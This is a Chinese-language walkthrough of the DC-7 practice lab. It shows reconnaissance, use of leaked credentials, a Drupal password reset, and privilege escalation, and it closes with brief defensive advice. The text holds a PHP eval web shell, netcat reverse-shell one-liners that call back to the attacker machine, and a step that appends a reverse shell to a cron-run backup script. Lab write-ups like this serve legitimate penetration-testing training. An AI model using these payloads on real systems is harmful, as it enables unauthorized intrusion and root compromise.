Vulhub 靶场 DC-7解析
字数 1065 2025-08-18 11:35:46

DC-7 靶场渗透测试详细解析

环境准备

  • 攻击机:Kali Linux (IP: 192.168.200.14)
  • 靶机:DC-7 (初始IP未知)
  • 网络配置:攻击机和靶机需处于同一网络下

信息收集阶段

1. 发现靶机IP

使用以下方法探测网段内存活主机:

# 方法1: arp扫描
arp-scan -l

# 方法2: nmap ping扫描
nmap -T4 -sP 192.168.200.0/24 -oN nmap200.sP

# 方法3: netdiscover
netdiscover -i eth0 -r 192.168.200.0/24

2. 端口扫描

nmap -p 1-65535 192.168.200.10

发现开放端口:

  • 80 (HTTP)
  • 22 (SSH)

3. 网站指纹识别

whatweb -v 192.168.200.10

确认网站使用Drupal CMS

初始访问获取

1. 社会工程学利用

通过网站提示信息"DC-7引入了一些'新'概念...",结合搜索发现GitHub账户:

  • 获取数据库凭据:
    • 用户名:dc7user
    • 密码:MdR3xOgB7#dW
    • 数据库名:Staff

2. SSH登录

ssh dc7user@192.168.200.10

3. 内部信息收集

在dc7user家目录发现:

  • backups文件夹(含.gpg加密文件)
  • mbox文件(包含脚本路径信息)

关键脚本位置:

/opt/scripts/backups.sh

脚本内容显示:

  • 数据库备份路径:/home/dc7user/backups/website.sql
  • 网站数据备份路径:/home/dc7user/backups/website.tar.gz
  • Drupal密码重置命令:
    drush user-password admin --password="new_pass"
    

权限提升路径

1. 重置Drupal管理员密码

cd /var/www/html/
drush user-password admin --password="123456"

2. 登录Drupal后台

访问:http://192.168.200.10/user/login
使用凭据:admin/123456

3. 植入PHP代码

由于Drupal 8默认不支持PHP,需先安装PHP模块:

  1. 下载模块:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
  2. 安装并激活PHP模块
  3. 在Basic page中添加PHP代码:
    <?php @eval($_POST[123]); ?>
    

### 4. 获取Webshell

使用中国蚁剑连接网站,获取www-data权限

### 5. 反弹Shell

在Kali监听:
```bash
nc -lvvp 6666

在靶机执行:

nc -e /bin/bash 192.168.200.14 6666

升级交互式Shell:

python -c 'import pty;pty.spawn("/bin/bash")'

特权提升

1. 利用定时任务

发现/opt/scripts/backups.sh:

  • 属组:www-data
  • 定时执行

2. 植入反弹Shell代码

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.200.14 8899 >/tmp/f" >> backups.sh

3. 监听新端口

在Kali执行:

nc -lvvp 8899

等待计划任务执行后获取root shell

关键点总结

  1. 信息收集:通过社会工程学获取初始凭据比暴力破解更有效
  2. 权限提升路径
    • 利用已知凭据获取SSH访问
    • 通过脚本分析发现密码重置方法
    • 利用Drupal后台功能植入Webshell
    • 利用可写定时任务脚本实现特权提升
  3. 防御建议
    • 定期更换敏感凭据
    • 限制脚本文件的写入权限
    • 监控计划任务变更
    • 禁用不必要的CMS功能模块

此靶场展示了从信息收集到权限提升的完整渗透测试流程,强调了社会工程学和非传统攻击路径的重要性。

DC-7 靶场渗透测试详细解析 环境准备 攻击机 :Kali Linux (IP: 192.168.200.14) 靶机 :DC-7 (初始IP未知) 网络配置 :攻击机和靶机需处于同一网络下 信息收集阶段 1. 发现靶机IP 使用以下方法探测网段内存活主机: 2. 端口扫描 发现开放端口: 80 (HTTP) 22 (SSH) 3. 网站指纹识别 确认网站使用Drupal CMS 初始访问获取 1. 社会工程学利用 通过网站提示信息"DC-7引入了一些'新'概念...",结合搜索发现GitHub账户: 获取数据库凭据: 用户名:dc7user 密码:MdR3xOgB7#dW 数据库名:Staff 2. SSH登录 3. 内部信息收集 在dc7user家目录发现: backups文件夹(含.gpg加密文件) mbox文件(包含脚本路径信息) 关键脚本位置: 脚本内容显示: 数据库备份路径:/home/dc7user/backups/website.sql 网站数据备份路径:/home/dc7user/backups/website.tar.gz Drupal密码重置命令: 权限提升路径 1. 重置Drupal管理员密码 2. 登录Drupal后台 访问:http://192.168.200.10/user/login 使用凭据:admin/123456 3. 植入PHP代码 由于Drupal 8默认不支持PHP,需先安装PHP模块: 下载模块:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 安装并激活PHP模块 在Basic page中添加PHP代码: 在靶机执行: 升级交互式Shell: 特权提升 1. 利用定时任务 发现/opt/scripts/backups.sh: 属组:www-data 定时执行 2. 植入反弹Shell代码 3. 监听新端口 在Kali执行: 等待计划任务执行后获取root shell 关键点总结 信息收集 :通过社会工程学获取初始凭据比暴力破解更有效 权限提升路径 : 利用已知凭据获取SSH访问 通过脚本分析发现密码重置方法 利用Drupal后台功能植入Webshell 利用可写定时任务脚本实现特权提升 防御建议 : 定期更换敏感凭据 限制脚本文件的写入权限 监控计划任务变更 禁用不必要的CMS功能模块 此靶场展示了从信息收集到权限提升的完整渗透测试流程,强调了社会工程学和非传统攻击路径的重要性。